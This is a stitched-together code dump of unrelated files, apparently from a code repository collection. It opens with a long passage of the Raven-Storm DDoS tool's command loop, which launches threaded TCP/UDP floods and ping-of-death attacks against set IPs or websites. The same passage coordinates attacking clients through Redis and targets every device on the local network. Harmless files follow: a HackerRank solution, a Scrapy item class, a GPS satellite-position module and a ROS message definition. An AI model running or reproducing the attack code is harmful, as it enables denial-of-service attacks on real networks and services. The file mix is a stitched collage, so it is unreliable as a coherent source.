print("\033[1;32;40m\nError.\n")
elif "method" in com:
com = ""
try:
while True:
if hr.get("sdone") == "true":
listportslist = hr.get("method")
print(("\033[1;32;40m\nMethod updated.\n"))
break
time.sleep(1)
except:
print("\033[1;32;40m\nError.\n")
elif "server ip" in com or "server port" in com:
com = ""
listwebtrue = hr.get("listwebtrue")
if verbosed:
print("[Done]")
time.sleep(0.2)
except:
try:
print("\033[1;32;40m\nFailed to get command, exit using CTRL + c.\n")
time.sleep(2)
except:
print("1;32;0m")
sys.exit()
else:
if verbosed:
print("[Else]")
if len(runcomonstart) == 0:
try:
com = raw_input("\033[1;32;40m>> ").lower()
except:
print("\033[1;32;0m")
sys.exit()
else:
try:
if verbosed:
print("[%s]" % runcomonstart[0])
com = runcomonstart[0]
print("\033[1;32;40m>> %s" % runcomonstart[0])
runcomonstart.pop(0)
if verbosed:
print(runcomonstart)
except:
print("<Error>")
if verbosed:
print("[Check: Server]")
#pdb.set_trace()
if hserver:
if verbosed:
print("[Continue]")
print("[done: False]")
hr.set("sdone", "false")
if verbosed:
print("[Commands]")
if 'help' in com:
if helphelp == 'true':
os.system('clear')
helptext()
helphelp = 'false'
if 'quit' == com or 'exit' == com or 'q' == com or 'e' == com:
os.system("clear")
print("\033[1;32;0mBye. ^^")
os.system("clear")
print("\033[1;32;0mBye. ^^")
break
i = 7
sys.exit()
elif 'set port' in com:
print(" ")
try:
portt = inporarg("Port", "set port", com)
port = int(portt)
except:
print("Error")
print(" ")
elif 'set threads' in com:
print(" ")
try:
threadss = inporarg("Number of Threads", "set threads", com)
threads = int(threadss)
print(" ")
except:
print(" ")
print("Error")
print(" ")
elif 'set ip' in com:
print(" ")
ip = inporarg("Ip", "set ip", com)
if not "." in ip:
ip = ""
print("Error")
print(" ")
listwebtrue = "false"
elif 'set web' in com:
try:
print(" ")
webtoip = inporarg("Website", "set web", com)
webtoip = webtoip.replace("http://", "")
webtoip = webtoip.replace("https://", "")
print(" ")
webtoiptxt = socket.gethostbyname(webtoip)
ip = webtoiptxt
listwebtrue = "false"
except:
print(" ")
print("Error")
print(" ")
elif 'run' == com:
if ip != "":
if ip != iplisterstandard:
lister = listeradd("ip", ip, lister)
if port != portlisterstandard:
lister = listeradd("port", port, lister)
if threads != threadslisterstandard:
lister = listeradd("threads", threads, lister)
if messages != messageslisterstandard:
lister = listeradd("messages", messages, lister)
if rtxt != rtxtlisterstandard:
lister = listeradd("rtxt", rtxt, lister)
if sleepy != sleepylisterstandard:
lister = listeradd("sleepy", sleepy, lister)
if outtxt != outtxtlisterstandard:
lister = listeradd("outtxt", outtxt, lister)
if outtxtmute != outtxtmutelisterstandard:
lister = listeradd("outtxtmute", outtxtmute, lister)
if socketmethod != socketmethodlisterstandard:
lister = listeradd("method", socketmethod, lister)
if hserver:
if hip != hiplisterstandard:
lister = listeradd("hip", hip, lister)
if hport != hportlisterstandard:
lister = listeradd("hport", hport, lister)
if verbosed:
print(str(lister))
try:
pickle.dump(lister, open("ravenstorm-automated-list.ravenstormlist", "w"))
except:
pass
if checkipexists(ip, port) or com == "run dev":
if verbosed:
print("[Command: Run]")
if hclient:
if verbosed:
print("[Client]")
print("[Reset Agreement]")
try:
hr.set("agree", "false")
except:
print("\nError.\n")
sys.exit()
while True:
try:
if hr.get("agree") == "true":
break
time.sleep(0.2)
except:
print("\nError.\n")
time.sleep(2)
if hserver:
if verbosed:
print("[Server]")
try:
time.sleep(1)
if verbosed:
print("[Set Variables]")
hr.set("com", "")
hr.set("onrung", "true")
hr.set("running", "true")
except:
print("\nError.\n")
sys.exit()
if raw_input("\nAlso use server as ddos/dos? (y/n) ") != "y":
if verbosed:
print("[Agreement]")
agreed()
raw_input("[Press Enter to stop attack]")
try:
if verbosed:
print("[Running: False]")
hr.set("running", "false")
except:
print("\nError.")
print("Please kill it manualy.\n")
else:
if verbosed:
print("[Else]")
agreed()
print("To stop: End Redis using CRTL + z ")
time.sleep(3)
time.sleep(autostart)
if stress == 'true':
i = 8
if listwebtrue == "false" and listportstrue == "false":
stresstest()
else:
print("Dont use multiple targets/ports in the Stress-testing mode.")
else:
if autostop != 0:
autostarttime = time.time()
i = 8
for maxthreads, i in enumerate(range(threads)):
try:
t = Thread(target=ddos)
time.sleep(autostep)
t.start()
except:
print("\033[1;32;0mCould not start thread %s." % maxthreads)
else:
if verbosed:
print("['Normal']")
if not hclient:
agreed()
print("\033[1;32;40mTo stop press: CRTL + z")
time.sleep(3)
time.sleep(autostart)
if stress == 'true':
if listwebtrue == "false" and listportstrue == "false":
stresstest()
else:
print("Dont use multiple targets/ports in the Stress-testing mode.")
else:
if autostop != 0:
autostarttime = time.time()
i = 8
for maxthreads, i in enumerate(range(threads)):
try:
t = Thread(target=ddos)
time.sleep(autostep)
t.start()
except:
print("\033[1;32;0mCould not start thread %s." % maxthreads)
else:
print("\nTarget does not exit.\n")
else:
print("\nNo ip set.\n")
elif 'get port i' in com:
try:
print(" ")
psi = inporarg("Ip", "get port i", com)
scann(psi)
except:
print("Error")
print(" ")
elif 'get port w' in com:
try:
print(" ")
psw = inporarg("Website", "get port w", com)
psww = socket.gethostbyname(psw)
scann(psww)
except:
print(" ")
print("Error")
print(" ")
elif 'set message' in com:
print(" ")
messages = inporarg("Message", "set message", com)
rtxt = 1
print(" ")
elif 'update' in com:
try:
os.system("rm -i %s" % sys.argv[0])
wget.download("https://github.com/Taguar258/Raven-Storm/blob/master/rs.pyo?raw=true")
os.system("mv rs.pyo?raw=true %s" % sys.argv[0])
except:
print("Error.")
sys.exit()
elif 'set r' in com:
print(" ")
try:
rtxtzw = rtxt
rtxt = int(inporarg("Number to Repeat", "set r", com))
if rtxt < 1:
print("Error.")
else:
if rtxtzw < rtxt:
messageszw = messages
messages = (str(messages) * int(rtxt))
else:
messages = (str(messageszw) * int(rtxt))
except:
print("Error.")
print(" ")
elif 'outtxt' in com:
print(" ")
if outtxt == 'true':
print("\033[1;32;40mdisabled")
outtxt = "false"
else:
print("\033[1;32;40menabled")
outtxt = 'true'
print(" ")
elif 'mute' in com:
print(" ")
if outtxtmute == True:
print("\033[1;32;40mdisabled")
outtxtmute = False
outtxt = zwouttxt
else:
print("\033[1;32;40menabled")
zwouttxt = outtxt
outtxt = "false"
outtxtmute = True
print(" ")
elif "method" in com:
print("")
if socketmethod == "udp":
socketmethod = "tcp"
print("\033[1;32;40mMethod: TCP")
else:
socketmethod = "udp"
print("\033[1;32;40mMethod: UDP")
print("")
elif 'bywho' in com:
print(" Taguar258")
elif 'values' in com or 'ls' == com:
print("")
print(" Basic:")
if listwebtrue == "true":
print(" List: %s" % str(listweblist))
else:
print(" Ip: %s" % str(ip))
if listportstrue == "true":
print(" Port: %s" % str(listportslist))
else:
print(" Port: %s" % str(port))
print(" Threads: %s" % str(threads))
print("\n Advanced:")
if len(messages) > 40:
print(" Message: %s ..." % str(messages[:40]))
else:
print(" Message: %s" % str(messages))
print(" Repeat: %s" % str(rtxt))
print(" Success output: %s" % str(outtxt))
print(" Hide output: %s" % str(outtxtmute))
print(" Sleep: %s" % str(sleepy))
print(" Method: %s" % str(socketmethod.upper()))
print(" Stress-testing: %s" % str(stress))
print(" Stress delay: %s" % str(timeforstress))
print(" Next thread delay: %s" % str(autostep))
print(" Activation delay: %s" % str(autostart))
print(" Force stop delay: %s" % str(autostop))
print(" Mb send to server: %s" % str(float(sys.getsizeof(str(messages)) / 1000000)))
print(" Server ip: %s" % str(hip))
print(" Server port: %s" % str(hport))
print(" Server: %s" % str(hserver))
print(" Client: %s" % str(hclient))
print(" Pod Packet size: %s kb" % podsize)
print(" Pod targets: %s" % podtarget)
print(" Pod threads: %s" % podthreads)
print(" Pod delay: %s" % podsleep)
print(" Pod interval: %s" % podinterval)
print(" Pod auto stop: %s" % podautodl)
print(" Version: %s" % str(rsversion))
print(" Command script got: %s" % str(sys.argv))
print("")
elif 'dev redis' in com:
print("")
try:
os.system("for key in $(redis-cli -p " + str(hport) + " keys \*); do echo \"Key : '$key'\" ; redis-cli -p " + str(hport) + " GET $key; done")
except:
print("Error.")
print("")
elif 'set sleep' in com:
try:
print(" ")
sleepy = int(inporarg("Time in Seconds", "set sleep", com))
print(" ")
except:
print(" ")
print("Error")
print(" ")
elif 'stress' in com:
print(" ")
if stress == 'true':
print("\033[1;32;40mdisabled")
stress = "false"
else:
print("\033[1;32;40menabled")
stress = 'true'
print(" ")
elif 'st wait' in com:
print(" ")
timeforstress = inporarg("Time between tests in Seconds", "st wait", com)
try:
timeforstress = int(timeforstress)
except:
print("Error")
print(" ")
elif 'auto step' in com:
print(" ")
try:
autostep = inporarg("Time for next thread to activate in Seconds", "auto step", com)
autostep = int(autostep)
except:
print("Error")
print(" ")
elif 'auto start' in com:
print(" ")
try:
autostart = inporarg("Time for attack to start in Seconds", "auto start", com)
autostart = int(autostart)
except:
print("Error")
print(" ")
elif "pod auto stop" in com:
print(" ")
try:
podautodl = int(inporarg("Auto stop", "pod auto stop", com))
except:
print("Error.")
print(" ")
elif 'auto stop' in com:
print(" ")
try:
autostop = inporarg("Seconds for autostop attack", "auto stop", com)
autostop = int(autostop)
except:
print("Error")
print(" ")
elif 'set mb' in com:
print(" ")
try:
print("Rarely crashing if value too high.")
setmb = inporarg("Mb to send to target", "set mb", com)
setmb = int(setmb)
setmb = int(setmb / 0.000001)
messages = ("r" * setmb)
rtxt = setmb
messageszw = "r"
except Exception as ee:
print("Error", ee)
print(" ")
elif 'set listweb' in com:
try:
print("")
listweblist = inporarg('WebList split by ", "', "set listweb", com).split(', ')
for listnum, listvalue in enumerate(listweblist):
listweblist[listnum] = listweblist[listnum].replace("http://","")
listweblist[listnum] = listweblist[listnum].replace("https://","")
listweblist[listnum] = socket.gethostbyname(listweblist[listnum])
listwebtrue = "true"
print(listweblist)
except:
print("\033[1;32;40m\nError.\n")
print("")
#print("#")
elif 'set listip' in com:
try:
print("")
listweblist = inporarg('IPList split by ", "', "set listip", com).split(', ')
listwebtrue = "true"
#print(listweblist)
except:
print("Error")
#print("#")
print("")
elif 'set listport' in com:
try:
print("")
listportslist = inporarg('PORTList split by ", "', "set listport", com).split(', ')
listportstrue = "true"
except:
print("Error")
print("")
elif 'server start' in com:
if hip != "" and hport != "":
com = ""
try:
hr = redis.Redis(host=hip, port=hport, db=0)
hr.set("clid", "1")
hr.set("onrung", "false")
hr.set("com", "")
hserver = True
print("\033[1;32;40m\nServer started...\n")
except:
print("\033[1;32;40m\nCheck redis and try again.\n")
else:
print("\033[1;32;40m\nIp or/and port not definied.\n")
elif 'client connect' in com:
if hserver:
print("\033[1;32;40m\nCant listen, if already hosting.\n")
else:
com = ""
if hip != "" and hport != "":
try:
hr = redis.Redis(host=hip, port=hport, db=0)
hr.set("com", "")
myclid = str(hr.get("clid"))
hr.set("clid", str(int(myclid) + 1))
hr.set(("clid" + str(myclid)), "0")
hclient = True
print("\033[1;32;40m\nClient started...\n")
except:
print("\033[1;32;40m\nCheck redis and try again.\n")
else:
print("\033[1;32;40m\nNo ip and/or port definied.\n")
elif 'server ip' in com:
print(" ")
hip = inporarg("Ip", "server ip", com)
print(" ")
elif 'server port' in com:
print(" ")
hport = inporarg("Port", "server port", com)
print(" ")
elif 'lan scan' in com:
print(" ")
if nmapinstalledq:
lanscan()
else:
print("Please install nmap.")
print(" ")
elif 'hbi' in com:
print(" ")
try:
zw = (inporarg("Domain", "hbi", com).replace("https://", "").replace("http://", ""))
print(hbi(zw))
except:
print(" Error.")
print(" ")
elif 'speed down' in com:
print("")
print(" Result: %s" % speedtest(inporarg("Website", "speed down", com)))
print("")
elif 'speed ping' in com:
print("")
print(" Result: %s" % speedping(inporarg("Ip", "speed ping", com)))
print("")
elif 'bt scan' in com:
print(" ")
try:
pass
#os.system("hcitool scan")
#os.system("hciconfig -a")
except:
print("Error.")
print(" ")
elif "pod sleep" in com:
print(" ")
try:
podsleep = float(inporarg("Delay", "pod sleep", com))
except:
print("Error.")
print(" ")
elif "pod interval" in com:
print(" ")
try:
podinterval = float(inporarg("Delay", "pod interval", com))
except:
print("Error.")
print(" ")
elif "pod threads" in com:
print(" ")
try:
podthreads = int(inporarg("Threads", "pod threads", com))
except:
print("Error.")
print(" ")
elif 'pod target list' in com:
print(" ")
try:
podtarget = inporarg("List of Domains/Ips split by ', '", "pod target list", com).split(", ")
except:
print("Error.")
print(" ")
elif "pod target" in com:
print(" ")
try:
podtarget = str(inporarg("Domain or ip", "pod target", com))
except:
print("Error.")
print(" ")
elif 'pod size' in com:
print(" ")
try:
podsizezw = int(inporarg("Size in kb", "pod size", com))
if podsizezw < podminsize:
print("Size needs to be more than 4kb.")
elif podsizezw > podmaxsize:
print("Size needs to be less than 65500kb.")
else:
podsize = podsizezw
except:
print("Error.")
print(" ")
elif 'pod checking' == com:
podtesting(podsize, podtarget, podthreads, podsleep, podinterval, podautodl)
elif 'pod run' == com:
#lister
if podsize != podsizelisterstandard:
lister = listeradd("podsize", podsize, lister)
if podthreads != podthreadslisterstandard:
lister = listeradd("podthreads", podthreads, lister)
if podsleep != podsleeplisterstandard:
lister = listeradd("podsleep", podsleep, lister)
if podinterval != podsleeplisterstandard:
lister = listeradd("podinterval", podinterval, lister)
if podautodl != podautodllisterstandard:
lister = listeradd("podautodl", podautodl, lister)
try:
pickle.dump(lister, open("ravenstorm-automated-list.ravenstormlist", "w"))
except:
pass
#print(" ")
agreed()
#print("Running...")
pod(podsize, podtarget, podthreads, podsleep, podinterval, podautodl)
elif "pod jammer" in com:
print(" ")
try:
gateways = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
gateways.connect(("8.8.8.8", 80))
gateway = ".".join((gateways.getsockname()[0].split("."))[:len(gateways.getsockname()[0].split(".")) - 1])
podlocalip = gateways.getsockname()[0]
gateways.close()
nm.scan(hosts=("%s.0/24" % gateway), arguments="-sP")
lanscandev = [(x) for x in nm.all_hosts()]
podtarget = []
for lanscandevice in lanscandev:
#print(lanscandevice)
if lanscandevice != podlocalip and lanscandevice != ("%s.1" % gateway):
#print(lanscandevice)
podtarget.append(lanscandevice)
print("All devices in Internet targeted.", podtarget)
except Exception as e:
if not nmapinstalledq:
print("Please install nmap.")
else:
print("Error.", e)
print(" ")
elif com == "clear" or com == "clear ":
os.system("clear")
elif "post scan" in com:
print("")
beautifulsoupexist = False
try:
from bs4 import BeautifulSoup
beautifulsoupexist = True
except:
print(" Please install BeautifulSoup4.")
lxmlexist = False
try:
import lxml
lxmlexist = True
except:
print(" Please install lxml.")
if beautifulsoupexist and lxmlexist:
postscanurl = str(inporarg("Domain", "post scan", com))
if "http" not in postscanurl:
print(" Error, try with https or http.")
raise Exception("httperror")
print("")
print(" Scanning...")
try:
postscan = requests.get(postscanurl)
postsoup = BeautifulSoup(postscan.content, "lxml")
print(" Results:")
for postscanx in postsoup.find_all("form"):
for postscanl in postscanx.find_all(["input", "button", "text"]):
try:
print(" %s :: %s" % (postscanl.name, postscanl.get("name")))
except:
pass
except:
print(" Error.")
print("")
elif com == "redis run" or com == "redis run ":
os.system("redis-server ./redis-conf/linux/other-redis.conf || redis-server")
elif com == "redis run hide" or com == "redis run hide":
print(" Running as thread in background.")
Thread(target=redisinbackground).start()
elif ">> " in com:
os.system(com[3:])
elif com == "":
pass
else:
if 'help' not in com:
print("""\033[1;32;40m
No such command.
""")
if hclient:
if verbosed:
print("[Clientid: Done]")
try:
hr.set(("clid" + str(myclid)), "1")
except:
print("\033[1;32;40m\nError.\n")
if hserver:
if verbosed:
print("[Set Variables]")
try:
# define local vars
if "set port" in com:
hr.set("port", port)
if "set threads" in com:
hr.set("threads", threads)
if "set ip" in com:
hr.set("ip", ip)
if "set web" in com:
hr.set("ip", ip)
if "set message" in com:
hr.set("messages", messages)
if "set r" in com:
hr.set("rtxt", rtxt)
hr.set("rtxtzw", rtxtzw)
hr.set("messages", messages)
hr.set("messageszw", messageszw)
if "set sleep" in com:
hr.set("sleepy", sleepy)
if "st wait" in com:
hr.set("timeforstress", timeforstress)
if "auto step" in com:
hr.set("autostep", autostep)
if "auto start" in com:
hr.set("autostart", autostart)
if "auto stop" in com:
hr.set("autostop", autostop)
if "set mb" in com:
hr.set("setmb", setmb)
if "set listweb" in com:
hr.set("listweblist", listweblist)
if "set listport" in com:
hr.set("listportslist", listportslist)
if "method" in com:
hr.set("method", socketmethod)
hr.set("listwebtrue", listwebtrue)
time.sleep(1)
if verbosed:
print("[Done: True]")
hr.set("sdone", "true")
time.sleep(0.3)
except:
print("\033[1;32;40m\nError.\n")
if hserver and com != "":
if verbosed:
print("[Wait for other Clients]")
try:
hr.set("com", com)
loopchecker = True
while loopchecker:
time.sleep(0.2)
loopingtt = True
for t in range((int(hr.get("clid")) - 1)):
t = (t + 1)
#print(hr.get(("clid" + str(t))))
#print(t)
if hr.get(("clid" + str(t))) != "1":
loopingtt = False
#print(loopingtt)
if loopingtt:
for f in range((int(hr.get("clid")) - 1)):
f = (f + 1)
#reset
hr.set(("clid" + str(f)), "0")
hr.set("com", "")
loopchecker = False
break
hr.set("com", "")
hr.set("onrung", "false")
except:
print("\033[1;32;40mFailed to send command...\n")
| [
"noreply@github.com"
] | dannydeleon8998.noreply@github.com |
ce7933230d5bc50519059d8bf563e142cacd0f9d | 4f1218079f90a65befbf658679721886d71f4ee8 | /python/hackerrank/birthdaychocolate.py | ef225e1789e29cfa011f85c8ddf433ee3d17c0b9 | [] | no_license | Escaity/Library | 9f57767617422a7930caf48718d18f7ebef81547 | b34d8600e0a65845f1b3a16eb4b98fc7087a3160 | refs/heads/master | 2022-07-29T16:18:33.073738 | 2022-07-17T10:25:22 | 2022-07-17T10:25:22 | 238,588,249 | 0 | 0 | null | 2021-08-17T03:02:34 | 2020-02-06T02:04:08 | Python | UTF-8 | Python | false | false | 213 | py | def birthday(s, d, m):
n = len(s)
cnt = 0
for i in range(n - m + 1):
bar = 0
for j in range(i, i + m):
bar += s[j]
if bar == d:
cnt += 1
return cnt
| [
"esk2306@gmail.com"
] | esk2306@gmail.com |
709c6e0719bab7bb2ce4a850c3240d1058ed4ca9 | c09545034e6a4c65e88ad5d0d214ce571b8e6ec6 | /jinritoutiao/items.py | f2826f48364055c55b3b98ed4de38e4ed55d1e84 | [] | no_license | hdxj/jinritoutiao | 5757fca221629c70e9261566ae7289c419502f75 | f306aabbd454f3adad8ebc5e1e8ca62d6636a490 | refs/heads/master | 2021-01-20T05:43:57.093773 | 2017-08-26T06:41:18 | 2017-08-26T06:41:18 | 101,467,854 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 498 | py | # -*- coding: utf-8 -*-
# Define here the models for your scraped items
#
# See documentation in:
# http://doc.scrapy.org/en/latest/topics/items.html
import scrapy
class JinritoutiaoItem(scrapy.Item):
abstract = scrapy.Field()
article_genre = scrapy.Field()
chinese_tag = scrapy.Field()
label = scrapy.Field()
source = scrapy.Field()
source_url = scrapy.Field()
tag = scrapy.Field()
title = scrapy.Field()
content = scrapy.Field()
time = scrapy.Field()
| [
"lqrschen@163.com"
] | lqrschen@163.com |
58b963b434f59c65974163b99df220974713b385 | 02779ff959cf88513d44162cf4ab076bb23cb471 | /satloc.py | a28b0b0ba143c660b6175e0b295e6b971bfc4839 | [] | no_license | WillFife/SatNav | 5432f970946c1d4c983dd39621042fbdc4582324 | 49520aa532f6e19b20b05a9fb5af0345c2e20683 | refs/heads/master | 2023-01-03T20:17:30.540351 | 2020-10-30T19:26:04 | 2020-10-30T19:26:04 | 291,811,877 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 9,852 | py | """
Retrieve the CSV file for navigation data for the
32 possible satellites at a time given by GPS week and GPS seconds.
Also create a CSV of the ECEF position and velocities from the given navigation data.
@author: William Fife
"""
# import dependencies
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import astropy.units as u
import sys
import os
# SatNav imports
from mathUtils import *
from datafile import DataFile
from wgs84 import wgs84Constants, WGS84, OrbitalMath
from time_conv import *
DIR = 'data/lab3/'
def createNavDataCsv(gpsWeek, gpsSec, navdir=DIR[:-1]):
print('--- Creating navData csv for GPS week {}, GPS Sec {} s ---'.format(gpsWeek, gpsSec))
# import matlab runner for extracting nav data
sys.path.insert(1, '/Applications/MATLAB_R2020a.app')
import matlab.engine
# Compute UTC time to give to matlab function 'RetrieveNavigationData.m'
utc = gps2utc(gpsWeek, gpsSec)
utc_str = '{}'.format(str(utc))
print(utc_str)
# Access matlab function and create csv
try:
eng = matlab.engine.start_matlab()
eng.retrieveNavigationData(float(gpsWeek), float(gpsSec), utc_str, 0, navdir, nargout=0)
eng.quit()
except Exception as e:
print("\nSomething went wrong with MATLAB... here is the exception")
print(e)
def satloc(gpsWeek, gpsSec, svID, navdir=DIR, usefile=None, printSat=False):
"""
Return satellite position and velocity expressed in and relative
to the ECEF reference frame.
Inputs:
gpsWeek - Week of true time at which satellite ECEF state is desired
gpsSec - Seconds of week
svID - The satellite PRN number
Outputs:
r_sv_ecef - Position of satellite in ECEF [m]
v_sv_ecef - Velocity of satellite in ECEF [m/s]
"""
# Formulate filename and retrieve nav data
navFile='filler'
if type(gpsSec) == float and usefile == None:
navFile = 'gpsW_SOW_{}_{:.4f}_navData.csv'.format(int(gpsWeek), gpsSec)
elif type(gpsSec) != float and usefile == None:
navFile = 'gpsW_SOW_{}_{}_navData.csv'.format(int(gpsWeek), gpsSec)
elif usefile != None:
navFile = usefile
navDF = pd.read_csv(navdir + navFile)
sat = navDF[navDF['SVID']==svID]
# load in variables needed
GM = 3.986005e14 # Earth gravitational parameter m3/s2
OmegaE = 7.2921151467e-5 # Earth mean rotation rate rad/s
t_oe = float(sat['te']) # ephemeris epoch
t = float(sat['tc']) # clock time
A = float(sat['sqrta']**2)
dn = float(sat['dn'])
M0 = float(sat['M0'])
a0 = float(sat['af0'])
a1 = float(sat['af1'])
a2 = float(sat['af2'])
e = float(sat['e'])
i0 = float(sat['i0'])
L0 = float(sat['L0'])
i_dot = float(sat['didt'])
lan_dot = float(sat['dOdt'])
omega0 = float(sat['omega0'])
C_uc = float(sat['Cuc'])
C_us = float(sat['Cus'])
C_rc = float(sat['Crc'])
C_rs = float(sat['Crs'])
C_ic = float(sat['Cic'])
C_is = float(sat['Cis'])
if printSat:
print(sat)
# initial computations for perifocal state
dtc = a0 + a1*(gpsSec - t) + a2*((gpsSec - t)**2)
tc = t_oe - dtc
tk = gpsSec - tc
n0 = np.sqrt(GM / A**3)
n = n0 + dn
M = M0 + n*tk
E = M
# Kepler's equation Newton's method for Eccentric Anomaly
orbmath = OrbitalMath()
# Only 20 iterations used
E = orbmath.E_newton(M, e, max_iter=20)
v_k = orbmath.true_anomaly_from_E(E, e) # true anomaly
argl_k = v_k + omega0
# correction terms
dargl = C_us*np.sin(2*argl_k) + C_uc*np.cos(2*argl_k)
dr = C_rs*np.sin(2*argl_k) + C_rc*np.cos(2*argl_k)
dinc = C_is*np.sin(2*argl_k) + C_ic*np.cos(2*argl_k)
# corrected terms
argl = argl_k + dargl
r_k = A*(1 - e*np.cos(E)) + dr
i_k = i0 + dinc + i_dot*tk
# position in perifocal frame
p_x = r_k*np.cos(argl)
p_y = r_k*np.sin(argl)
# corrected longitude of ascending node
lan_k = L0 + (lan_dot - OmegaE)*tk - OmegaE * t_oe
# ECEF position
x_ecef = p_x*np.cos(lan_k) - p_y*np.cos(i_k)*np.sin(lan_k)
y_ecef = p_x*np.sin(lan_k) + p_y*np.cos(i_k)*np.cos(lan_k)
z_ecef = p_y*np.sin(i_k)
# intermediate terms for satellite velocity
E_k_dot = n / (1 - e*np.cos(E))
v_k_dot = E_k_dot*np.sqrt(1-e**2) / (1 - e*np.cos(E))
i_k_dot = i_dot + 2*v_k_dot*(C_is*np.cos(2*argl_k) - C_ic*np.sin(2*argl_k))
argl_dot = v_k_dot + 2*v_k_dot*(C_us*np.cos(2*argl_k) - C_uc*np.sin(2*argl_k))
r_k_dot = e*A*E_k_dot*np.sin(E) + 2*v_k_dot*(C_rs*np.cos(2*argl_k) - C_rc*np.sin(2*argl_k))
lan_k_dot = lan_dot - OmegaE
# perifocal velocity
p_vx = r_k_dot*np.cos(argl_k) - r_k*argl_dot*np.sin(argl_k)
p_vy = r_k_dot*np.sin(argl_k) + r_k*argl_dot*np.cos(argl_k)
# ECEF velocity
Vx_ecef = -p_x*lan_k_dot*np.sin(lan_k) + \
p_vx*np.cos(lan_k) - \
p_vy*np.sin(lan_k)*np.cos(i_k) - \
p_y*( lan_k_dot*np.cos(lan_k)*np.cos(i_k) - i_k_dot*np.sin(lan_k)*np.sin(i_k) )
Vy_ecef = p_x*lan_k_dot*np.cos(lan_k) + \
p_vx*np.sin(lan_k) + \
p_vy*np.cos(lan_k)*np.cos(i_k) - \
p_y*( lan_k_dot*np.sin(lan_k)*np.cos(i_k) + i_k_dot*np.cos(lan_k)*np.sin(i_k) )
Vz_ecef = p_vy*np.sin(i_k) + p_y*i_k_dot*np.cos(i_k)
# place into arrays and return
R_ecef = np.array([x_ecef, y_ecef, z_ecef]).reshape((3,1)) * u.meter
V_ecef = np.array([Vx_ecef, Vy_ecef, Vz_ecef]).reshape((3,1)) * u.meter/u.second
return R_ecef, V_ecef
def satelaz(r_sv_ecef, r_rx_ecef):
"""
Compute satellite azimuth and elevation angle with respect to the
receiver in ECEF.
Inputs:
r_sv_ecef (m) : 3x1 position vector of satellite in ECEF
r_rx_ecef (m) : 3x1 position vector of receiver in ECEF
Outputs:
az (rad) : azimuth angle
el (rad) : elevation angle
"""
# Compute satellite wrt receiver in ECEF
r_sv_rx_ecef = r_sv_ecef - r_rx_ecef
# transform relative vector to ENU
wgs84 = WGS84()
lat, lon, h = wgs84.ecef_to_geodetic(r_rx_ecef)
T_ecef_enu = wgs84.ecef_to_enu(lat, lon)
r_sv_rx_enu = np.matmul(T_ecef_enu, r_sv_rx_ecef)
# Compute azimuth and elevation
east = r_sv_rx_enu[0,0]
north = r_sv_rx_enu[1,0]
up = r_sv_rx_enu[2,0]
az = np.arctan2(east, north)
el = (0.5*np.pi * u.radian) - np.arccos( up / np.linalg.norm(r_sv_rx_enu) )
return az, el
def satmap(navFile, r_rx_ecef, el_mask_deg, gpsWeek, gpsSecVec, navdir=DIR, plot_flag=False):
"""
Generate plotting data for SV's above a particular
receiver position over a span of GPS seconds.
Inputs:
navFile : csv navigation file
r_rx_ecef (m) : 3x1 receiver position in ECEF
el_mas_deg (deg) : elevation cutoff
gpsWeek : Gps week number
gpsSecVec (s) : Gps seconds array
plot_flag : flag to create sky plot (plot if True)
Outputs:
svIds : Unique SV ID numbers to be plotted
sv_data : Nt*Nsv by 4 array in the form
[svId, gpsSec, az, el
svId, gpsSec, az, el
.
.
svId, gpsSec, az, el]
"""
# 32 SVIDs in each navfile
SVIDs = range(1,33)
ephem = pd.read_csv(navdir + navFile)
elrad = np.deg2rad(el_mask_deg) * u.radian
# sats_in_view will hold all svids in view at each GpsSec
svIds = []
sv_data = np.zeros(4)
for gpsSec in gpsSecVec:
for sv in SVIDs:
if np.any(ephem['SVID'] == sv):
# grab sat ecef position
R_sat, V_sat = satloc(gpsWeek, gpsSec, sv, usefile=navFile)
# grab azimuth, elevation from receiver
az, el = satelaz(R_sat, r_rx_ecef)
# check if equal to or above elevation threshold
if el >= elrad:
if sv not in svIds:
svIds.append(sv)
data = [sv, gpsSec, el.value, az.value]
sv_data = np.vstack((sv_data, data))
# delete first row, it was just used as a initializer
sv_data = np.delete(sv_data, 0, 0)
if plot_flag:
# import matlab runner
sys.path.insert(1, '/Applications/MATLAB_R2020a.app')
import matlab.engine
try:
eng = matlab.engine.start_matlab()
satdata = ndarray2matlab(sv_data)
eng.plotsat(satdata, float(gpsWeek), float(elrad), nargout=0)
eng.quit()
except Exception as e:
print("\nSomething went wrong with MATLAB... here is the exception\n")
print(e)
return svIds, sv_data
def channel2navsol(gpsWeek, gpsSec, svID, sec_n=None, rx_ecef=None, createf=False):
# first, get the data from the matlab script
if createf:
createNavDataCsv(gpsWeek, gpsSec)
# grab that file to get position and then delete later
usesec = gpsSec
if sec_n != None:
usesec = sec_n
navFile='filler'
if type(gpsSec) == float:
navFile = 'gpsW_SOW_{}_{:.4f}_navData.csv'.format(int(gpsWeek), usesec)
else:
navFile = 'gpsW_SOW_{}_{}_navData.csv'.format(int(gpsWeek), usesec)
# get position of SV
r_sv_ecef, v_ecef = satloc(gpsWeek, gpsSec, svID, usefile=navFile)
if rx_ecef != None:
az, el = satelaz(r_sv_ecef, rx_ecef)
return r_sv_ecef, el
return r_sv_ecef
def main():
print('Using satloc functionality...')
if __name__ == "__main__":
main() | [
"william.fife@utexas.edu"
] | william.fife@utexas.edu |
b77bc2acca6b6e0e86c89938bda7c5ab19c1574c | 7aebfaec6957ad67523f1d8851856af88fb997a6 | /catkin_ws/devel/lib/python2.7/dist-packages/xarm_msgs/srv/_GetAnalogIO.py | 6f4bb532c9a98d105e10d7d82b9913662901a07b | [] | no_license | k-makihara/ROS | 918e79e521999085ab628b6bf27ec28a51a8ab87 | 45b60e0488a5ff1e3d8f1ca09bfd191dbf8c0508 | refs/heads/master | 2023-01-28T06:00:55.943392 | 2020-11-26T05:27:16 | 2020-11-26T05:27:16 | 316,127,707 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,564 | py | # This Python file uses the following encoding: utf-8
"""autogenerated by genpy from xarm_msgs/GetAnalogIORequest.msg. Do not edit."""
import sys
python3 = True if sys.hexversion > 0x03000000 else False
import genpy
import struct
class GetAnalogIORequest(genpy.Message):
_md5sum = "f1c58d245d5dbcbc33afe76f9fc1dff4"
_type = "xarm_msgs/GetAnalogIORequest"
_has_header = False #flag to mark the presence of a Header object
_full_text = """
int16 port_num
"""
__slots__ = ['port_num']
_slot_types = ['int16']
